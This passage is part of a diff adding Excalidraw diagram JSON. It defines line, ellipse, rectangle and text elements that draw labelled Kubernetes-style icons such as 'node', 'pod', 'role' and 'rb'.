"solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1562.5082854815091, + "y": -1322.3997082503201, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.9725526621135747, + "height": 2.419168359195762, + "seed": 379038648, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.9725526621135747, + 2.419168359195762 + ] + ] + }, + { + "type": "line", + "version": 1233, + "versionNonce": 255337696, + "index": "c0UZIG", + "isDeleted": false, + "id": "6vUFMyOBYqPJVlREdmSGn", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1556.9628072427372, + "y": -1320.427155588207, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.44661569708244864, + "height": 3.2007458290897866, + "seed": 790197432, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.44661569708244864, + 3.2007458290897866 + ] + ] + }, + { + "type": "line", + "version": 1235, + "versionNonce": 1117817056, + "index": "c0UZIV", + "isDeleted": false, + "id": "KlByk6lAVY8sLkzb6JMOf", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1552.6083041961838, + "y": -1322.9951958464303, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.530822283466375, + "height": 2.8657840562780548, + "seed": 1182408120, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.530822283466375, + 2.8657840562780548 + ] + ] + }, + { + "type": "line", + "version": 1243, + "versionNonce": 861695200, + "index": "c0UZJ", + "isDeleted": false, + "id": "jT270ysX2TZlFyNiR5UDx", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1550.8962773573683, + "y": -1328.0196224386063, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.875554693148343, + "height": 0, + "seed": 1574807224, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.875554693148343, + 0 + ] + ] + }, + { + "type": "line", + "version": 1239, + "versionNonce": 1794887904, + "index": "c0UZJG", + "isDeleted": false, + "id": "ZCMbkeTQBmfAHwXhYMcja", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1553.3898816660785, + "y": -1333.4162287783502, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8657840562780548, + "height": 0.7443594951371537, + "seed": 837291960, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.8657840562780548, + -0.7443594951371537 + ] + ] + }, + { + "type": "text", + "version": 1399, + "versionNonce": 1091482848, + "index": "c0UZJV", + "isDeleted": false, + "id": "8fnbgCQV", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1532.6914165826242, + "y": -1306.1715572245796, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 38.27450401985595, + "height": 22.393521123891905, + "seed": 1253923000, + "groupIds": [ + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "fontSize": 17.91481689911352, + "fontFamily": 1, + "text": "node", + "rawText": "node", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "node", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3469, + "versionNonce": 455416032, + "index": "c0UZK", + "isDeleted": false, + "id": "USgUujcHxi1kX-usxQ4fd", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1899.1505633921533, + "y": -1430.2292993548408, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 201425336, + "groupIds": [ + "N7UYcpiGzp6ZPpRRJEyWE", + "3Wk1HLhd5snLneQ2vV-bn", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2315, + "versionNonce": 751762656, + "index": "c0UZKG", + "isDeleted": false, + "id": "tMjyZv8R0Exo9LPEgyqv3", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1900.3084181599975, + "y": -1431.1405009369719, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1155041976, + "groupIds": [ + "N7UYcpiGzp6ZPpRRJEyWE", + "3Wk1HLhd5snLneQ2vV-bn", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1118, + "versionNonce": 932995296, + "index": "c0UZKV", + "isDeleted": false, + "id": "kL155_KV9LXmeTvoMY3Ib", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1894.854782973645, + "y": -1393.6593402146518, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 19.000088359151977, + "height": 20.234751140613234, + "seed": 1072067512, + "groupIds": [ + "97_5Gj-DKa3yTKroJZZnU", + "3Wk1HLhd5snLneQ2vV-bn", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -12.1408506843679, + 0.6173313907305251 + ], + [ + -18.86290360565642, + 10.220264135428335 + ], + [ + -13.238328712333393, + 19.548827373134824 + ], + [ + 0.1371847534955564, + 20.234751140613234 + ] + ] + }, + { + "type": "line", + "version": 1193, + "versionNonce": 1260209376, + "index": "c0UZL", + "isDeleted": false, + "id": "xbrvDtcVKOhvAiEqvxFFL", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1902.2412014847305, + "y": -1393.0857416346007, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 19.000088359151977, + "height": 20.234751140613234, + "seed": 1397701816, + "groupIds": [ + "97_5Gj-DKa3yTKroJZZnU", + "3Wk1HLhd5snLneQ2vV-bn", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 12.1408506843679, + 0.6173313907305251 + ], + [ + 18.86290360565642, + 10.220264135428335 + ], + [ + 13.238328712333393, + 19.548827373134824 + ], + [ + -0.1371847534955564, + 20.234751140613234 + ] + ] + }, + { + "type": "line", + "version": 1024, + "versionNonce": 81897696, + "index": "c0UZLG", + "isDeleted": false, + "id": "PtieGLdxVzl-gjmTRaT5g", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1888.9558385733308, + "y": -1383.713445586216, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 17.559648447447483, + "height": 0.06859237674788249, + "seed": 1891034552, + "groupIds": [ + "97_5Gj-DKa3yTKroJZZnU", + "3Wk1HLhd5snLneQ2vV-bn", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 17.559648447447483, + -0.06859237674788249 + ] + ] + }, + { + "type": "rectangle", + "version": 1283, + "versionNonce": 1350143200, + "index": "c0UZLV", + "isDeleted": false, + "id": "bpOvxjb1beqWfoVzTQSgh", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dotted", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1869.1509487481435, + "y": -1408.5247327456864, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 61.65376280346684, + "height": 53.591942618663595, + "seed": 893480632, + "groupIds": [ + "3Wk1HLhd5snLneQ2vV-bn", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1003, + "versionNonce": 661975264, + "index": "c0UZM", + "isDeleted": false, + "id": "0uS2JkPr", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1892.4571290567633, + "y": -1355.7282927549668, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 17.209689239634457, + "height": 22.935001028129516, + "seed": 2039666616, + "groupIds": [ + "3Wk1HLhd5snLneQ2vV-bn", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "fontSize": 18.34800082250361, + "fontFamily": 1, + "text": "rb", + "rawText": "rb", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "rb", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 2094, + "versionNonce": 1365497056, + "index": "c0UZMG", + "isDeleted": false, + "id": "Vbf1QhQNSqVAjFVWl5UR4", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1499.6606111428312, + "y": -1447.925931274959, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1640964280, + "groupIds": [ + "cVg-zx6cReqzRtBDvi0R5", + "c16cTADYuWvE6QG52ZyNX", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1433, + "versionNonce": 601241824, + "index": "c0UZMV", + "isDeleted": false, + "id": "_I7OU5SzZSZrGAXhQYVWI", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1498.448060120079, + "y": -1449.1960930032278, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1838827960, + "groupIds": [ + "cVg-zx6cReqzRtBDvi0R5", + "c16cTADYuWvE6QG52ZyNX", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1129, + "versionNonce": 1113332960, + "index": "c0UZN", + "isDeleted": false, + "id": "S-9Q07u8vY80TlXylo01_", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1477.4888125731618, + "y": -1409.5015200535263, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 20.27742910670436, + "height": 35.70320339646721, + "seed": 135811768, + "groupIds": [ + "YzpHWHL__V-uErou7o2Hc", + "c16cTADYuWvE6QG52ZyNX", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.18660210834391153, + 24.818080409739405 + ], + [ + 19.779823484453956, + 35.70320339646721 + ], + [ + 20.27742910670436, + 6.7798766031619015 + ], + [ + 2.363626705689471, + 1.8038203806577522 + ] + ] + }, + { + "type": "line", + "version": 1348, + "versionNonce": 1585807584, + "index": "c0UZNG", + "isDeleted": false, + "id": "BXIUmEpzEGwQ3MgJSjau_", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1521.900114359012, + "y": -1409.625921459089, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 22.130942574834656, + "height": 35.83133459503828, + "seed": 401423288, + "groupIds": [ + "YzpHWHL__V-uErou7o2Hc", + "c16cTADYuWvE6QG52ZyNX", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -22.130942574834656, + 6.365644663380997 + ], + [ + -20.7687809213004, + 35.83133459503828 + ], + [ + -0.99521124450083, + 25.066883220864618 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1063, + "versionNonce": 2011325664, + "index": "c0UZNV", + "isDeleted": false, + "id": "1T-64Ysf4h_oJTYjQU3Pn", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1479.1060308454764, + "y": -1412.3627523814666, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 42.73188281075432, + "height": 13.124348286854675, + "seed": 255657144, + "groupIds": [ + "YzpHWHL__V-uErou7o2Hc", + "c16cTADYuWvE6QG52ZyNX", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 20.899436134517376, + 6.095668872567573 + ], + [ + 42.73188281075432, + 0.49760562225042 + ], + [ + 20.712834026173475, + -7.028679414287102 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "text", + "version": 854, + "versionNonce": 469944544, + "index": "c0UZO", + "isDeleted": false, + "id": "L8lpgysj", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1484.5335681860502, + "y": -1374.5767139858308, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 29.64915459497331, + "height": 22.935001028129516, + "seed": 2074848696, + "groupIds": [ + "c16cTADYuWvE6QG52ZyNX", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "pod", + "rawText": "pod", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "pod", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3376, + "versionNonce": 645311712, + "index": "c0UZOG", + "isDeleted": false, + "id": "ng88Tj-Hryc-MezKvalhv", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1779.7456064864996, + "y": -1433.6285029118717, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 375207608, + "groupIds": [ + "IhTUHrk5XpY9p8OS8e1nK", + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2222, + "versionNonce": 13504736, + "index": "c0UZOV", + "isDeleted": false, + "id": "oA2MtbKjucdUUdvK6Xrtx", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1780.9034612543444, + "y": -1434.5397044940046, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1408606136, + "groupIds": [ + "IhTUHrk5XpY9p8OS8e1nK", + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1911, + "versionNonce": 1654191328, + "index": "c0UZP", + "isDeleted": false, + "id": "XTbC-Nl6t_MPK8TDO3NMm", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1761.4655287107776, + "y": -1401.9240263137422, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 38.48257676515288, + "height": 53.94078303746298, + "seed": 1956178104, + "groupIds": [ + "tyM4adjpRBSnOaau2fJuj", + "veouD41yQXXuK3UoXyoRK", + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.43819522846026465, + 22.049620485275092 + ], + [ + 4.342967775450733, + 34.94121810198526 + ], + [ + 16.999488623775477, + 44.08179537283787 + ], + [ + 31.664261562496574, + 35.75278091987214 + ], + [ + 38.48257676515288, + 20.07560865520522 + ], + [ + 38.09624108672637, + -0.02154511355940155 + ], + [ + 17.89059727780874, + -9.85898766462511 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1934, + "versionNonce": 291985632, + "index": "c0UZPG", + "isDeleted": false, + "id": "Ic5OcJPgfnhGCm8K9w7bi", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1774.4991636083173, + "y": -1400.5470389715774, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 13.959416800014635, + "height": 18.067947848851407, + "seed": 334172600, + "groupIds": [ + "pP4Xk6lAxHtufOxUMbauA", + "veouD41yQXXuK3UoXyoRK", + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 2166, + "versionNonce": 550059232, + "index": "c0UZPV", + "isDeleted": false, + "id": "Dcq-JrDe5x5_ZRJT5ziQr", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1777.649027289237, + "y": -1396.2526084434521, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 7.288395422973883, + "height": 13.743891268613103, + "seed": 957356728, + "groupIds": [ + "pP4Xk6lAxHtufOxUMbauA", + "veouD41yQXXuK3UoXyoRK", + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 2409, + "versionNonce": 844013792, + "index": "c0UZQ", + "isDeleted": false, + "id": "YNI4XjbSO-S-4_-18UEmK", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1770.968434900259, + "y": -1387.7076878786756, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 18.532405158820122, + "height": 14.82525956037181, + "seed": 1722549176, + "groupIds": [ + "24HvyH3en8Tz24_NpZzqi", + "pP4Xk6lAxHtufOxUMbauA", + "veouD41yQXXuK3UoXyoRK", + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "ellipse", + "version": 1142, + "versionNonce": 898073824, + "index": "c0UZQG", + "isDeleted": false, + "id": "zhc0j5Yad62Xswd6918fN", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1778.3471524377542, + "y": -1384.1703669044819, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 6.651552292900256, + "height": 6.897906081526186, + "seed": 719506616, + "groupIds": [ + "veouD41yQXXuK3UoXyoRK", + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 914, + "versionNonce": 671344864, + "index": "c0UZQV", + "isDeleted": false, + "id": "0w6arsAZzAyeZrZAzxvVP", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dotted", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1752.4989227688288, + "y": -1414.2452332457356, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 59.497971177368996, + "height": 58.73267649628154, + "seed": 794326456, + "groupIds": [ + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 893, + "versionNonce": 1431555296, + "index": "c0UZR", + "isDeleted": false, + "id": "T0lmyYyd", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1763.4667583461096, + "y": -1355.3850196398184, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 32.91497330762787, + "height": 22.935001028129516, + "seed": 1227947704, + "groupIds": [ + "FZHdgXGWTS05kLWg6KaLs", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "role", + "rawText": "role", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "role", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3638, + "versionNonce": 386347232, + "index": "c0UZRG", + "isDeleted": false, + "id": "kyXrYUVm_RT7n644tGo-y", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2049.051820834769, + "y": -1378.264010154091, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 152070072, + "groupIds": [ + "Y3H6qyPhspTU6VrgYV6i7", + "Y1yLvgxDtoiB93sqTgO3m", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453341, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + 